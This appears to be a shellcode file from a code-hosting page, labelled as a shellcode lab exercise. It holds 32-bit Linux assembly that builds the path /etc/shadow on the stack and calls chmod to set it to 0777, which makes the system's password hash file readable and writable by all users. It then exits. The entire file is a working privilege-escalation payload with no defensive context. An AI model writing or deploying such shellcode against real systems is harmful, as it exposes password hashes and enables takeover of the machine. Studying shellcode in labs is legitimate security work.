28 lines
431 B
NASM
28 lines
431 B
NASM
; shellcodelab@hack4
|
|
; by dash
|
|
|
|
BITS 32
|
|
global _start
|
|
|
|
_start:
|
|
xor eax, eax
|
|
xor ebx, ebx
|
|
xor ecx, ecx
|
|
|
|
;chmod
|
|
mov ecx, 0x1ff ;0777
|
|
push ebx ;null terminator
|
|
push 0x776f6461 ;/etc/shadow
|
|
push 0x68732f63
|
|
push 0x74652f2f
|
|
mov ebx, esp ;put the address of esp to ebx (shadow)
|
|
mov eax, 15
|
|
int 0x80
|
|
|
|
;exit
|
|
xor eax, eax
|
|
xor ebx, ebx
|
|
mov eax, 1
|
|
int 0x80
|
|
|